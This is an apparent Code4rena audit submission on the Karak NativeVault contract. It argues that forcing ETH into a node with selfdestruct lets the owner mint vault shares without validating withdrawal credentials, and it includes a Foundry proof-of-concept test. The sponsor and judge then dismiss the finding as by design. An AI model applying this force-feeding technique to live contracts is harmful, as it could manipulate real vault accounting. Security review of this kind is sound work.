It is possible to bypass validateWithdrawalCredentials

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/NativeVault.sol#L459 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/NativeVault.sol#L467 https://github.com/code-423n4/2024-07-karak/blob/f5e52fdcb4c20c4318d532a9f08f7876e9afb321/src/NativeVault.sol#L481

Vulnerability details

Impact

It is possible to join a vault, by obtaining shares of it, without having to call validateWithdrawalCredentials, or having any validator connected to the node.

After a user creates a node, they can directly call startSnapshot, for that node, before verifying them self with validateWithdrawalCredentials; this is meant to have no effects (As highlighted in the tests provided). But there is a way to force the startSnapshot function to mint new shares to the user, letting them join the vault without having to verify their withdraw credentials or having any validators to their name.

Proof of Concept

The startSnapshot function only verifies that a node exists for msg.sender:

    function startSnapshot(bool revertIfNoBalanceChange)
        external
        nonReentrant
        nodeExists(msg.sender)
        whenFunctionNotPaused(Constants.PAUSE_NATIVEVAULT_START_SNAPSHOT)
    {
        _startSnapshot(_state().ownerToNode[msg.sender], revertIfNoBalanceChange, msg.sender);
    }

Meaning and after a user deploys a node they can call this function without any further limitations.

If they call it before validating their credentials with validateWithdrawalCredentials, their remainingProofs will be 0, when creating the new snapshot (as the validators gets added by validating the credentials):

        NativeVaultLib.Snapshot memory snapshot = NativeVaultLib.Snapshot({
            parentBeaconBlockRoot: _getParentBlockRoot(uint64(block.timestamp)),
            nodeBalanceWei: nodeBalanceWei,
            balanceDeltaWei: 0,
            remainingProofs: node.activeValidatorCount
        });

Meaning that the _updateSnapshot function called at the end of _startSnapshot, will take the first branch of the if statement:

        if (snapshot.remainingProofs == 0) {
            int256 totalDeltaWei = int256(snapshot.nodeBalanceWei) + snapshot.balanceDeltaWei;

            node.withdrawableCreditedNodeETH += snapshot.nodeBalanceWei;

            node.lastSnapshotTimestamp = node.currentSnapshotTimestamp;
            delete node.currentSnapshotTimestamp;
            delete node.currentSnapshot;

            _updateBalance(nodeOwner, totalDeltaWei);
            emit SnapshotFinished(nodeOwner, node.nodeAddress, node.lastSnapshotTimestamp, totalDeltaWei);
        } else {
            node.currentSnapshot = snapshot;
        }

Since it is expected that the node has accumulated no ETH yet, this will delete the snapshot, and when calling _updateBalance nothing will happen (as it will be called with assets = 0):

       if (assets > 0) {
            _increaseBalance(_of, uint256(assets));
        } else if (assets < 0) {
            _decreaseBalance(_of, uint256(-assets));
        } else {
            return;
        }

It is possible to make it so that the node has a balance greater than 0 when calling startSnapshot this way (even without connecting it to any validators). Meaning that the _updateBalance function will call _increaseBalance, and the user will get a proportional amount of shares of the vault, without having verified their credentials and even without controlling any validators on the Beacon Chain.

Although the NativeNode contract is not payable, a user can call selfdestruct on a purposely created contract, and transfer ETH directly into the node, meaning that when they call startSnapshot, the balance will be greater than 0, and they will get shares, bypassing validateWithdrawalCredentials.

selfdestruct is being deprecated, but that is not an issue. As highlighted in EIP-6780, the ability to transfer ETH to an arbitrary accounts will remain:

Abstract

This EIP changes the functionality of the SELFDESTRUCT opcode. The new functionality will be only to send all Ether in the account to the target, except that the current behaviour is preserved when SELFDESTRUCT is called in the same transaction a contract was created.

Here is a foundry script that you can run. Place it in the /test/nativeRestaking directory to preserve dependencies:

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.25;

import "forge-std/Vm.sol";
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "solady/src/utils/LibClone.sol";

import "../../src/Core.sol";
import "../../src/SlashStore.sol";
import "../../src/NativeNode.sol";
import "../../src/NativeVault.sol";
import "../helpers/ProxyDeployment.sol";
import "../../src/entities/VaultLib.sol";
import "../../src/interfaces/Constants.sol";
import "../../src/entities/NativeVaultLib.sol";
import "../../src/entities/BeaconProofsLib.sol";
import "../../src/interfaces/IKarakBaseVault.sol";

struct ValidatorFieldProof {
    bytes32 beaconStateRoot;
    bytes beaconStateRootProof;
    bytes32 blockHeaderRoot;
    uint64 slot;
    bytes32[] validatorFields;
    uint40 validatorIndex;
    bytes validatorProof;
    bytes32 validatorRoot;
}

struct WithdrawProof {
    uint256 amount;
    bytes32[] amountProof;
    bytes32 headerRoot;
    uint64 slot;
    uint256 validatorIndex;
    bytes32[] validatorIndexProof;
    uint8 withdrawalIndex;
}

contract SelfDestructible {

    function destroy(address to) external {
        selfdestruct(payable(to));  
    }
}

contract NativeVaultTest is Test {
    Core core;
    NativeNode nativeNode;
    NativeVault nativeVault;

    SelfDestructible destructibelContract;

    address manager = address(11);
    address operator = address(12);
    address slashStore = address(13);
    address proxyAdmin = address(14);
    address slashingVetoCommittee = address(15);

    ValidatorFieldProof validatorFieldProof;
    ValidatorFieldProof updateBalanceValidatorFieldProof;
    ValidatorFieldProof paritalWithdrawValidator;
    WithdrawProof withdrawProof;
    WithdrawProof partialWithdrawProof;

    uint256 internal constant beaconGenesisTimestamp = 1606824023;
    address mockAddressOfNode = address(0x8e609AC80F4324E499A6eFD24f221a2CAA868224);
    bytes32 internal constant STATE_SLOT = 0x0e977c4f52771ae90b9a885786536a06e14de7815be95b6ed56cdea86f6fc300;
    bytes32 nodeToOwnerSlot = bytes32(uint256(STATE_SLOT) + 3);
    bytes32 ownerToNodeSlot = bytes32(uint256(STATE_SLOT) + 4);

    function setUp() public {
        vm.etch(
            Constants.BEACON_ROOTS_ADDRESS,
            hex"3373fffffffffffffffffffffffffffffffffffffffe14604d57602036146024575f5ffd5b5f35801560495762001fff810690815414603c575f5ffd5b62001fff01545f5260205ff35b5f5ffd5b62001fff42064281555f359062001fff015500"
        );
        // Setup core
        uint32 hookCallGasLimit = 500_000;
        uint32 hookGasBuffer = 40_000;
        uint32 supportsInterfaceGasLimit = 20_000;
        address nativeVaultImpl = address(new NativeVault());
        core = Core(ProxyDeployment.factoryDeploy(address(new Core()), proxyAdmin));
        core.initialize(
            nativeVaultImpl, manager, slashingVetoCommittee, hookCallGasLimit, supportsInterfaceGasLimit, hookGasBuffer
        );
        address[] memory assets = new address[](1);
        assets[0] = Constants.DEAD_BEEF;
        address[] memory slashingHandlers = new address[](1);
        slashingHandlers[0] = slashStore;
        core.allowlistAssets(assets, slashingHandlers);

        // Setup NativeNode implementation
        address nativeNodeImpl = address(new NativeNode());

        // Deploy Vaults
        VaultLib.Config[] memory vaultConfigs = new VaultLib.Config[](1);
        vaultConfigs[0] = VaultLib.Config({
            asset: Constants.DEAD_BEEF,
            decimals: 18,
            operator: operator,
            name: "NativeTestVault",
            symbol: "NTV",
            extraData: abi.encode(address(manager), slashStore, address(nativeNodeImpl))
        });

        vm.startPrank(operator);
        IKarakBaseVault[] memory vaults = core.deployVaults(vaultConfigs, address(0));
        nativeVault = NativeVault(address(vaults[0]));
        vm.stopPrank();

        string memory root = vm.projectRoot();
        string memory filename = "validator_field_data";
        string memory path = string.concat(root, "/test/fixtures/", filename, ".json");
        string memory file = vm.readFile(path);
        bytes memory parsed = vm.parseJson(file);
        validatorFieldProof = abi.decode(parsed, (ValidatorFieldProof));

        filename = "withdraw_data";
        path = string.concat(root, "/test/fixtures/", filename, ".json");
        file = vm.readFile(path);
        parsed = vm.parseJson(file);
        withdrawProof = abi.decode(parsed, (WithdrawProof));

        filename = "update_validator_data";
        path = string.concat(root, "/test/fixtures/", filename, ".json");
        file = vm.readFile(path);
        parsed = vm.parseJson(file);
        updateBalanceValidatorFieldProof = abi.decode(parsed, (ValidatorFieldProof));

        filename = "partial_withdraw_data";
        path = string.concat(root, "/test/fixtures/", filename, ".json");
        file = vm.readFile(path);
        parsed = vm.parseJson(file);
        partialWithdrawProof = abi.decode(parsed, (WithdrawProof));

        filename = "partial_withdraw_validator_data";
        path = string.concat(root, "/test/fixtures/", filename, ".json");
        file = vm.readFile(path);
        parsed = vm.parseJson(file);
        paritalWithdrawValidator = abi.decode(parsed, (ValidatorFieldProof));
    }

    function slotTimestamp(uint64 slot) public pure returns (uint256) {
        return beaconGenesisTimestamp + ((slot + 1) * 12);
    }

    function timestamp_idx(uint256 timestamp) public pure returns (bytes32) {
        return bytes32(uint256(timestamp % Constants.BEACON_ROOTS_RING_BUFFER));
    }

    function root_idx(uint256 timestamp) public pure returns (bytes32) {
        return bytes32(uint256(timestamp % Constants.BEACON_ROOTS_RING_BUFFER + Constants.BEACON_ROOTS_RING_BUFFER));
    }

    function test_startSnapshot_no_validators_bypass(bytes32 parentRoot) public {

        vm.assume(parentRoot != bytes32(0));
        address node = nativeVault.createNode();

        destructibelContract = new SelfDestructible();
        vm.deal(address(destructibelContract), 1 ether);

        destructibelContract.destroy(node);
        console.log(node.balance);

        assertEq(nativeVault.getNodeOwner(node), address(this));

        vm.store(Constants.BEACON_ROOTS_ADDRESS, timestamp_idx(block.timestamp), bytes32(uint256(block.timestamp)));
        vm.store(Constants.BEACON_ROOTS_ADDRESS, root_idx(block.timestamp), parentRoot);

        assertEq(nativeVault.balanceOf(address(this)), 0);
        nativeVault.startSnapshot(false);
        assertEq(nativeVault.balanceOf(address(this)), 1 ether);

    }

}

Assessed type

Access Control

[dewpe]

would reclassify as a non-issue, comments on why should come soon from @karan-andalusia

[karan-andalusia]

This is by design since even in this case where the user might not have any active validators and use self destruct to deposit some amount of ETH on the node, that ETH is still slashable and provides the same economic security. Even if the user has active validators they can still deposit as much ETH to the node as they want using the self destruct workaround. However, they can only withdraw the ETH valued by the shares that have been minted to them which in turn is slashable.

[c4-judge]

MiloTruck marked the issue as unsatisfactory: Invalid

[MiloTruck]

As mentioned by the sponsor, this is by design.

If the node owner has ETH in his native node but the ETH isn't staked in a validator, there is no issue as his balance is still slashable. The only impact is the node owner causes himself to lose out yield from ETH staking.